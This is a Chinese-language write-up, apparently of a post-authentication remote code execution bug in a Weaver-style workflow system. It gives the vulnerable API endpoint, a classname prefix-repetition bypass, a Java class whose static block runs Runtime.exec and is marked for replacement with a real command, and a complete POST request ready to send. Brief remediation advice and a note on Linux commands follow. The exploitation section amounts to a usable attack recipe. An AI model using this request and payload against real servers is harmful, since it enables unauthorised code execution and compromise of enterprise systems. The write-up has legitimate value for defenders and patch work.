某微1day后台RCE审计
字数 1443 2025-08-24 20:49:22
某微1day后台RCE漏洞分析与利用教学文档
漏洞概述
某微系统存在一处后台远程代码执行(RCE)漏洞,攻击者可通过构造特定请求在目标服务器上执行任意Java代码,最终实现命令执行。该漏洞位于InterfaceRegisterCustomOperationCmd类的execute方法中,通过newInstance实例化恶意类触发。
漏洞分析
-
漏洞触发点
- 访问路径:
/api/integration/workflowflow/getInterfaceRegisterCustomOperation - 关键方法:
InterfaceRegisterCustomOperationCmd#execute - 漏洞函数:
JavaCodeToObject(通过newInstance实例化用户可控的Java类)
- 访问路径:
-
利用条件
- 认证要求:需后台权限(通过Cookie验证用户身份)。
- 参数控制:需满足以下条件触发漏洞逻辑:
- 请求方法为
POST。 - 参数
method=add。 - 参数
actionid非空(如actionid=1)。 - 参数
classname需以weaver.interfaces.workflow.action.javacode.Action开头,并通过.连接重复(如classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Action)。 - 参数
javacode包含恶意Java代码(需在静态代码块中实现命令执行)。 - 参数
dtinfo_CustomParameterData需存在且非空(如dtinfo_CustomParameterData=11)。
- 请求方法为
-
关键代码逻辑
- 检查
method=add后,验证actionid非空。 - 校验
classname前缀是否为weaver.interfaces.workflow.action.javacode.Action,否则抛出异常。 - 通过
JavaCodeToObject动态编译并加载用户提供的javacode,实例化类时触发静态代码块中的恶意代码。
- 检查
漏洞利用步骤
-
构造恶意Java类
package weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode; import java.io.IOException; public class Test { static { try { Runtime.getRuntime().exec("calc.exe"); // 替换为实际命令 } catch (IOException e) { e.printStackTrace(); } } }- 注意:代码需在静态代码块中,确保类加载时自动执行。
-
组装请求Payload
POST /api/integration/workflowflow/getInterfaceRegisterCustomOperation HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Cookie: ecology_JSessionid=aaa8G6PRBnnBD82yi6Fky; loginidweaver=1 Connection: close Content-Length: 548 method=add&actionid=1&classname=weaver.interfaces.workflow.action.javacode.Action.weaver.interfaces.workflow.action.javacode.Test&dtinfo_CustomParameterData=11&javacode=[上述Java代码URL编码后] -
关键参数说明
classname:需包含完整包路径,且通过.连接重复前缀绕过校验。javacode:需URL编码,确保换行和特殊字符正确处理。dtinfo_CustomParameterData:必须存在,值任意。
漏洞修复建议
-
输入校验
- 严格校验
classname参数,禁止用户控制类名或包路径。 - 限制
javacode参数内容,禁止动态编译用户代码。
- 严格校验
-
权限控制
- 确保接口仅对可信用户开放,加强身份认证。
-
安全更新
- 升级至官方修复版本,禁用危险函数如
JavaCodeToObject。
- 升级至官方修复版本,禁用危险函数如
注意事项
- 实际利用时需替换
Runtime.getRuntime().exec中的命令为目标系统兼容的指令(如Linux下/bin/sh -c)。 - 测试环境需模拟后台权限,通过合法Cookie或会话凭证发送请求。
参考链接
- 原文作者:Ha1ey
- 漏洞发布日期:2022-12-12
- 涉及技术点:Java反射、动态类加载、命令注入。